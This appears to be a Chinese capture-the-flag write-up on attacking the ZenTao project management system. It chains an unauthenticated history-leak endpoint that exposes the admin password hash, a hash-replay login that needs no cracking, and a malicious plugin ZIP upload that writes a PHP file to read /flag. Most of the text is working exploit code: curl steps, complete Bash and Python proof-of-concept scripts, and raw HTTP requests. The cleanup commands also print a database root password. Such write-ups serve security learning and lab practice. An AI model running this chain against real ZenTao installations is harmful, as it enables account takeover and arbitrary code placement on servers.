跳到主要内容

禅道 action.ajaxGetList 未授权泄露到 Getshell 读取 /flag WP

作者修订时间
wjlin02026-08-28 19:22:45

0x01 环境信息

目标是禅道系统,入口形式如下:

/index.php?m=模块名&f=方法名

当前重点接口:

/index.php?m=action&f=ajaxGetList

本地验证环境:

http://127.0.0.1:18088

如果是远程靶机,把 PoC 里的 BASE_URL 改成远程地址即可。

注意:环境里原先遗留过 /data/cmd.php,这是历史 webshell,不能作为本题解法使用。正式链路里不依赖该文件。

0x02 漏洞点分析

禅道配置里把 action.ajaxGetList 加入了未登录可访问的方法列表:

$config->openMethods[] = 'action.ajaxgetlist';

对应控制器逻辑大致如下:

public function ajaxGetList($objectType, $objectID)
{
$this->app->loadLang($objectType);
$actions = $this->action->getList($objectType, $objectID);
$actions = $this->action->buildActionList($actions);
return $this->send($actions);
}

该接口本意是给对象详情页异步加载操作历史,但没有重新校验当前用户是否有权限查看对应对象历史。

接口需要加 Ajax 头,否则响应为空:

X-Requested-With: XMLHttpRequest

访问用户对象历史:

curl -sS \
-H 'X-Requested-With: XMLHttpRequest' \
'http://127.0.0.1:18088/index.php?m=action&f=ajaxGetList&objectType=user&objectID=15'

可以看到用户 15 的密码修改历史,例如:

旧值为 "aa11c1eecc7dcdb46252f3ac31c45e30",新值为 "0f2797f2182804d0cc7f0b85d254c146"

泄露出的新值:

0f2797f2182804d0cc7f0b85d254c146

这个哈希刚好也是当前 admin 用户的数据库密码哈希。

0x03 为什么泄露哈希可以登录

禅道前端登录时不是直接提交明文密码,而是先请求随机数:

/index.php?m=user&f=refreshRandom

然后提交:

md5(md5(明文密码) + rand)

服务端校验 32 位密码参数时,会执行类似逻辑:

if(strlen($password) == 32)
{
$hash = $this->session->rand ? md5($user->password . $this->session->rand) : $user->password;
if($password == $hash) return $user;
}

也就是说,服务端拿数据库里的 user->password 与当前 session 的 rand 拼接再 MD5。

因此只要知道数据库密码哈希,就可以不爆破明文密码,直接构造:

login_password = md5(leaked_db_hash + rand)

登录流程:

base='http://127.0.0.1:18088'
cj=$(mktemp)

hash='0f2797f2182804d0cc7f0b85d254c146'
rand=$(curl -sS -c "$cj" "$base/index.php?m=user&f=refreshRandom")
pass=$(php -r 'echo md5($argv[1].$argv[2]);' "$hash" "$rand")

curl -sS -b "$cj" -c "$cj" \
"$base/index.php?m=user&f=login&account=admin&password=$pass&passwordStrength=3"

登录成功后,$cj 里保存了有效的 zentaosid

0x04 后台插件上传 Getshell 思路

登录 admin 后,可以访问禅道后台插件安装功能:

/index.php?m=extension&f=upload
/index.php?m=extension&f=install

插件 ZIP 解压后会进入:

/data/zentao/extension/pkg/<插件代号>/

安装插件时,会把插件包内除 dbdochook 以外的目录复制到禅道应用根目录。

例如 ZIP 内包含:

ctf_flag_ext/
├── doc/
│ └── en.yaml
└── www/
└── data/
└── readflag.php

安装后会复制为:

/data/zentao/www/data/readflag.php

Web 访问路径就是:

/data/readflag.php

readflag.php 内容:

<?php readfile('/flag');

0x05 制作插件 ZIP

插件包目录必须带一个说明文件,最小 doc/en.yaml 如下:

code: ctf_flag_ext
name: CTF Flag Extension
version: 1.0
author: ctf
desc: ctf
license: mit
type: extension
zentaoVersion: all

制作命令:

work=$(mktemp -d)
mkdir -p "$work/ctf_flag_ext/doc" "$work/ctf_flag_ext/www/data"

cat > "$work/ctf_flag_ext/doc/en.yaml" <<'YAML'
code: ctf_flag_ext
name: CTF Flag Extension
version: 1.0
author: ctf
desc: ctf
license: mit
type: extension
zentaoVersion: all
YAML

cat > "$work/ctf_flag_ext/www/data/readflag.php" <<'PHP'
<?php readfile('/flag');
PHP

cd "$work"
zip -q -r ctf_flag_ext.zip ctf_flag_ext

生成的 ZIP 路径:

$work/ctf_flag_ext.zip

0x06 上传插件的坑点

上传请求必须带同源 Referer,否则禅道框架的 CSRF 逻辑会清空 $_FILES$_POST,导致你明明发了 multipart,服务端却进入不了上传分支。

正确上传请求:

curl -sS \
-b "$cj" -c "$cj" \
-H "Referer: $base/index.php?m=extension&f=upload" \
-H 'X-Requested-With: XMLHttpRequest' \
-F "files[]=@$work/ctf_flag_ext.zip;filename=ctf_flag_ext.zip" \
"$base/index.php?m=extension&f=upload"

成功响应类似:

{"result":"success","callback":{"name":"loadInModal","params":"/index.php?m=extension&f=install&extension=ctf_flag_ext"}}

0x07 安装插件的坑点

extension.install 的 PHP 方法签名是:

public function install(
$extension,
$downLink = '',
$md5 = '',
$type = '',
$overridePackage = 'no',
$ignoreCompatible = 'no',
$overrideFile = 'no',
$agreeLicense = 'no',
$upgrade = 'no'
)

禅道这里的参数是按 URL 参数出现顺序绑定的,不要以为参数名一定会生效。

所以安装时要把前面的空参数也补齐:

curl -sS \
-b "$cj" -c "$cj" \
-H "Referer: $base/index.php?m=extension&f=install" \
"$base/index.php?m=extension&f=install&extension=ctf_flag_ext&downLink=&md5=&type=&overridePackage=no&ignoreCompatible=yes&overrideFile=yes&agreeLicense=yes&upgrade=no"

然后访问:

curl -sS "$base/data/readflag.php"

即可得到:

flag{12345}

0x08 完整 Burp 代理版 PoC

下面这个 PoC 会把所有 HTTP 请求代理到 Burp:

http://127.0.0.1:8080

使用前确保 Burp 已经监听 127.0.0.1:8080

如果目标是 HTTPS 且证书不被信任,curl 版本 PoC 用 -k,Python 版本 PoC 用 verify=False

Bash + curl 版

#!/usr/bin/env bash
set -euo pipefail

BASE_URL="${1:-http://127.0.0.1:18088}"
BURP_PROXY="${BURP_PROXY:-http://127.0.0.1:8080}"

cj=$(mktemp)
work=$(mktemp -d)

echo "[+] Target: $BASE_URL"
echo "[+] Burp proxy: $BURP_PROXY"

echo "[+] Step 1: leak password hash from action.ajaxGetList"
leak_resp=$(curl -k -sS \
--proxy "$BURP_PROXY" \
-H 'X-Requested-With: XMLHttpRequest' \
"$BASE_URL/index.php?m=action&f=ajaxGetList&objectType=user&objectID=15")

hash=$(printf '%s' "$leak_resp" | grep -Eo '[a-f0-9]{32}' | tail -n 1)
echo "[+] leaked hash: $hash"

echo "[+] Step 2: get session rand"
rand=$(curl -k -sS \
--proxy "$BURP_PROXY" \
-c "$cj" \
"$BASE_URL/index.php?m=user&f=refreshRandom")

echo "[+] rand: $rand"

echo "[+] Step 3: build login password md5(hash + rand)"
login_pass=$(php -r 'echo md5($argv[1].$argv[2]);' "$hash" "$rand")
echo "[+] login password: $login_pass"

echo "[+] Step 4: login as admin"
curl -k -sS \
--proxy "$BURP_PROXY" \
-b "$cj" -c "$cj" \
"$BASE_URL/index.php?m=user&f=login&account=admin&password=$login_pass&passwordStrength=3" \
>/dev/null

echo "[+] Step 5: make malicious extension zip"
mkdir -p "$work/ctf_flag_ext/doc" "$work/ctf_flag_ext/www/data"

cat > "$work/ctf_flag_ext/doc/en.yaml" <<'YAML'
code: ctf_flag_ext
name: CTF Flag Extension
version: 1.0
author: ctf
desc: ctf
license: mit
type: extension
zentaoVersion: all
YAML

cat > "$work/ctf_flag_ext/www/data/readflag.php" <<'PHP'
<?php readfile('/flag');
PHP

(
cd "$work"
zip -q -r ctf_flag_ext.zip ctf_flag_ext
)

echo "[+] zip path: $work/ctf_flag_ext.zip"

echo "[+] Step 6: upload extension zip"
curl -k -sS \
--proxy "$BURP_PROXY" \
-b "$cj" -c "$cj" \
-H "Referer: $BASE_URL/index.php?m=extension&f=upload" \
-H 'X-Requested-With: XMLHttpRequest' \
-F "files[]=@$work/ctf_flag_ext.zip;filename=ctf_flag_ext.zip" \
"$BASE_URL/index.php?m=extension&f=upload"
echo

echo "[+] Step 7: install extension"
curl -k -sS \
--proxy "$BURP_PROXY" \
-b "$cj" -c "$cj" \
-H "Referer: $BASE_URL/index.php?m=extension&f=install" \
"$BASE_URL/index.php?m=extension&f=install&extension=ctf_flag_ext&downLink=&md5=&type=&overridePackage=no&ignoreCompatible=yes&overrideFile=yes&agreeLicense=yes&upgrade=no" \
>/dev/null

echo "[+] Step 8: read flag"
curl -k -sS \
--proxy "$BURP_PROXY" \
"$BASE_URL/data/readflag.php"
echo

echo "[+] cookie jar: $cj"
echo "[+] work dir: $work"

运行:

chmod +x poc.sh
BURP_PROXY='http://127.0.0.1:8080' ./poc.sh 'http://127.0.0.1:18088'

Python requests 版

#!/usr/bin/env python3
import hashlib
import os
import re
import shutil
import sys
import tempfile
import zipfile

import requests


BASE_URL = sys.argv[1].rstrip('/') if len(sys.argv) > 1 else 'http://127.0.0.1:18088'
BURP_PROXY = os.environ.get('BURP_PROXY', 'http://127.0.0.1:8080')

PROXIES = {
'http': BURP_PROXY,
'https': BURP_PROXY,
}


def md5(data: str) -> str:
return hashlib.md5(data.encode()).hexdigest()


def make_zip(workdir: str) -> str:
root = os.path.join(workdir, 'ctf_flag_ext')
os.makedirs(os.path.join(root, 'doc'), exist_ok=True)
os.makedirs(os.path.join(root, 'www', 'data'), exist_ok=True)

with open(os.path.join(root, 'doc', 'en.yaml'), 'w', encoding='utf-8') as f:
f.write('''code: ctf_flag_ext
name: CTF Flag Extension
version: 1.0
author: ctf
desc: ctf
license: mit
type: extension
zentaoVersion: all
''')

with open(os.path.join(root, 'www', 'data', 'readflag.php'), 'w', encoding='utf-8') as f:
f.write("<?php readfile('/flag');\n")

zip_path = os.path.join(workdir, 'ctf_flag_ext.zip')
with zipfile.ZipFile(zip_path, 'w', zipfile.ZIP_DEFLATED) as zf:
for dirpath, _, filenames in os.walk(root):
for filename in filenames:
path = os.path.join(dirpath, filename)
arcname = os.path.relpath(path, workdir)
zf.write(path, arcname)
return zip_path


def main():
session = requests.Session()
session.proxies.update(PROXIES)
session.verify = False

print(f'[+] Target: {BASE_URL}')
print(f'[+] Burp proxy: {BURP_PROXY}')

print('[+] Step 1: leak password hash')
leak_url = f'{BASE_URL}/index.php?m=action&f=ajaxGetList&objectType=user&objectID=15'
leak_resp = session.get(leak_url, headers={'X-Requested-With': 'XMLHttpRequest'})
leak_resp.raise_for_status()

hashes = re.findall(r'[a-f0-9]{32}', leak_resp.text)
if not hashes:
raise RuntimeError('no md5 hash found in ajaxGetList response')
leaked_hash = hashes[-1]
print(f'[+] leaked hash: {leaked_hash}')

print('[+] Step 2: get session rand')
rand_resp = session.get(f'{BASE_URL}/index.php?m=user&f=refreshRandom')
rand_resp.raise_for_status()
rand = rand_resp.text.strip()
print(f'[+] rand: {rand}')

print('[+] Step 3: login as admin')
login_password = md5(leaked_hash + rand)
login_url = f'{BASE_URL}/index.php?m=user&f=login&account=admin&password={login_password}&passwordStrength=3'
login_resp = session.get(login_url)
login_resp.raise_for_status()

workdir = tempfile.mkdtemp(prefix='zt-ext-')
try:
print('[+] Step 4: make extension zip')
zip_path = make_zip(workdir)
print(f'[+] zip path: {zip_path}')

print('[+] Step 5: upload extension')
upload_url = f'{BASE_URL}/index.php?m=extension&f=upload'
with open(zip_path, 'rb') as fp:
files = {'files[]': ('ctf_flag_ext.zip', fp, 'application/zip')}
upload_resp = session.post(
upload_url,
files=files,
headers={
'Referer': upload_url,
'X-Requested-With': 'XMLHttpRequest',
},
)
upload_resp.raise_for_status()
print(upload_resp.text)

print('[+] Step 6: install extension')
install_url = (
f'{BASE_URL}/index.php?m=extension&f=install'
'&extension=ctf_flag_ext'
'&downLink='
'&md5='
'&type='
'&overridePackage=no'
'&ignoreCompatible=yes'
'&overrideFile=yes'
'&agreeLicense=yes'
'&upgrade=no'
)
install_resp = session.get(install_url, headers={'Referer': upload_url})
install_resp.raise_for_status()

print('[+] Step 7: read flag')
flag_resp = session.get(f'{BASE_URL}/data/readflag.php')
flag_resp.raise_for_status()
print(flag_resp.text.strip())
finally:
print(f'[+] temp workdir kept at: {workdir}')
# 如需自动删除本地临时目录,可以取消下一行注释。
# shutil.rmtree(workdir)


if __name__ == '__main__':
main()

运行:

python3 -m pip install requests
BURP_PROXY='http://127.0.0.1:8080' python3 poc.py 'http://127.0.0.1:18088'

0x09 Burp 抓包重点

建议重点看这几个包:

1. 未授权泄露历史

GET /index.php?m=action&f=ajaxGetList&objectType=user&objectID=15 HTTP/1.1
Host: 127.0.0.1:18088
X-Requested-With: XMLHttpRequest

响应里搜索:

新值为

2. 获取登录随机数

GET /index.php?m=user&f=refreshRandom HTTP/1.1
Host: 127.0.0.1:18088

响应体就是 rand,同时会设置或更新 session cookie。

3. 哈希重放登录

GET /index.php?m=user&f=login&account=admin&password=<md5(leaked_hash+rand)>&passwordStrength=3 HTTP/1.1
Host: 127.0.0.1:18088
Cookie: zentaosid=<同一个会话>

4. 上传插件 ZIP

POST /index.php?m=extension&f=upload HTTP/1.1
Host: 127.0.0.1:18088
Cookie: zentaosid=<已登录会话>
Referer: http://127.0.0.1:18088/index.php?m=extension&f=upload
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data; boundary=----xxx

------xxx
Content-Disposition: form-data; name="files[]"; filename="ctf_flag_ext.zip"
Content-Type: application/zip

<zip bytes>
------xxx--

如果没有 Referer,框架会认为 CSRF,清空上传内容,导致上传失败或返回上传页面 HTML。

5. 安装插件

GET /index.php?m=extension&f=install&extension=ctf_flag_ext&downLink=&md5=&type=&overridePackage=no&ignoreCompatible=yes&overrideFile=yes&agreeLicense=yes&upgrade=no HTTP/1.1
Host: 127.0.0.1:18088
Cookie: zentaosid=<已登录会话>
Referer: http://127.0.0.1:18088/index.php?m=extension&f=install

6. 读取 flag

GET /data/readflag.php HTTP/1.1
Host: 127.0.0.1:18088

响应:

flag{12345}

0x0a 利用链总结

完整链路如下:

action.ajaxGetList 未授权

读取 user:15 操作历史

泄露密码修改后的数据库哈希

refreshRandom 获取 session rand

构造 md5(leaked_hash + rand)

哈希重放登录 admin

后台上传恶意插件 ZIP

插件安装复制 www/data/readflag.php

访问 /data/readflag.php 读取 /flag

最终结果:

flag{12345}

0x0b 清理痕迹

如果是本地 CTF 环境,验证结束后可以清理插件文件:

docker exec zendao sh -lc 'rm -f /data/zentao/www/data/readflag.php'
docker exec zendao sh -lc 'rm -rf /data/zentao/extension/pkg/ctf_flag_ext /data/zentao/tmp/extension/ctf_flag_ext.zip'
docker exec mysql8 mysql -uroot -p6722786Dai zentao -e "delete from zt_extension where code=\"ctf_flag_ext\";"

比赛环境一般不需要清理;本地复盘建议清理,避免后续误用遗留 webshell。